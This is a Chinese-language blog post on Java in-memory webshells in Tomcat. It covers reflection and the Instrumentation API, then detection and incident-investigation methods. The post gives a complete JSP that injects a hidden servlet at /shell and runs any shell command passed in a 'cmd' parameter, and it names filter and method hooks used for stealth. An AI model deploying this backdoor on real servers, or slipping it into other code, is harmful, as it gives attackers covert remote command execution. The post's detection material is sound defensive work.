• Java Instrumentation 内存马——主要是利用Instrumentation Java API来做内存注入,会用到反射机制,文中提到检测思路:注入jar包> dump已加载class字节码>反编译成java代码> 源码webshell检测


     java背景知识

    实现方式:https://tttang.com/archive/1390/ 可参考

    2.3.1 java反射

    反射提供的功能,能在运行时(动态)的

    1.获取一个类的所有成员变量和方法

    2.创建一个类的对象

    a.获取对象成员变量&赋值
    b.调用对象的方法
    c.判断对象所属的类

    在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中。
    在使用Java反射机制时,主要步骤包括:

    ①获取 目标类型的Class对象
    ②通过 Class 对象分别获取Constructor类对象、Method类对象 & Field 类对象
    ③通过 Constructor类对象、Method类对象 & Field类对象分别获取类的构造函数、方法&属性的具体信息,并进行后续操作

    2.3.2 java instrumentation

    Instrumentation是Java提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向classLoader的classpath下加入jar文件等。使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)。
    Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互。
    在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。

    三、内存马实现

    这里我们以tomcat的servletAPI型内存马为例讲一下内存马的实现。下面的代码先是创建了一个恶意的servlet,然后获取当前的StandardContext,然后将恶意servlet封装成wrapper添加到StandardContext的children当中,最后添加ServletMapping将访问的URL和wrapper进行绑定。

    <%@ page import="java.io.IOException" %>
    <%@ page import="java.io.InputStream" %>
    <%@ page import="java.util.Scanner" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.io.PrintWriter" %>
    
    <%
        // 创建恶意Servlet
        Servlet servlet = new Servlet() {
            @Override
            public void init(ServletConfig servletConfig) throws ServletException {
    
            }
            @Override
            public ServletConfig getServletConfig() {
                return null;
            }
            @Override
            public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
                String cmd = servletRequest.getParameter("cmd");
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                PrintWriter out = servletResponse.getWriter();
                out.println(output);
                out.flush();
                out.close();
            }
            @Override
            public String getServletInfo() {
                return null;
            }
            @Override
            public void destroy() {
    
            }
        };
    
        %>
    <%
        // 获取StandardContext
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
    
        // 用Wrapper对其进行封装
        org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
        newWrapper.setName("jweny");
        newWrapper.setLoadOnStartup(1);
        newWrapper.setServlet(servlet);
        newWrapper.setServletClass(servlet.getClass().getName());
    
        // 添加封装后的恶意Wrapper到StandardContext的children当中
        standardCtx.addChild(newWrapper);
    
        // 添加ServletMapping将访问的URL和Servlet进行绑定
        standardCtx.addServletMapping("/shell","jweny");
    %>
    

    执行上述代码后,访问当前应用的/shell路径,加上cmd参数就可以命令执行了。使用新增servlet的方式就需要绑定指定的URL。如果我们想要更加隐蔽,做到内存马与URL无关,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令,那就得通过注入新的或修改已有的filter或者listener的方式来实现了。比如早期rebeyond师傅开发的memshell,就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的,后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook javax.servlet.http.HttpServlet#service 函数,在weblogic选择hook weblogic.servlet.internal.ServletStubImpl#execute 函数。

    四、内存马检测与排查

    4.1源码检测

    在java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类, Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。
    这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测:
    ①新增的或修改的;
    ②没有对应class文件的
    ③xml配置中没注册的
    ④冰蝎等常见工具使用的
    ⑤filterchain中排第一的filter类

    还有一些比较弱的特征可以用来辅助检测,比如类名称中包含shell或者为随机名,使用不常见的classloader加载的类等等。

    另外,有一些工具可以辅助检测内存马,如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet,然后通过名称、对应的class是否存在来判断是否是内存马

    4.2 内存马排查

    如果我们通过检测工具或者其他手段发现了一些内存webshell的痕迹,需要有一个排查的思路来进行跟踪分析,也是根据各类型的原理,列出一个排查思路。

    如果是jsp注入,日志中排查可疑jsp的访问请求。

    如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法

    根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

    如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。

    如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200

    参考链接

    java web请求三大器——listener、filter、servlet
    Tomcat架构原理
    利用“进程注入”实现无文件复活 WebShell
    深入理解反射
    查杀Java web filter型内存马

  • 相关阅读:
    myEclipse,web项目连接数据库
    jquery模拟手机短信发送
    myEclipse创建web项目及运行
    总结SUMMARY
    pthread
    NSThread线程对象
    刀哥多线程自动释放池autoreleasepool
    仿SDWebImage
    多线程基本概论multithread
    多线程异步加载图片async_pictures
  • 原文地址:https://www.cnblogs.com/bonelee/p/16020943.html
Copyright © 2020-2023  润新知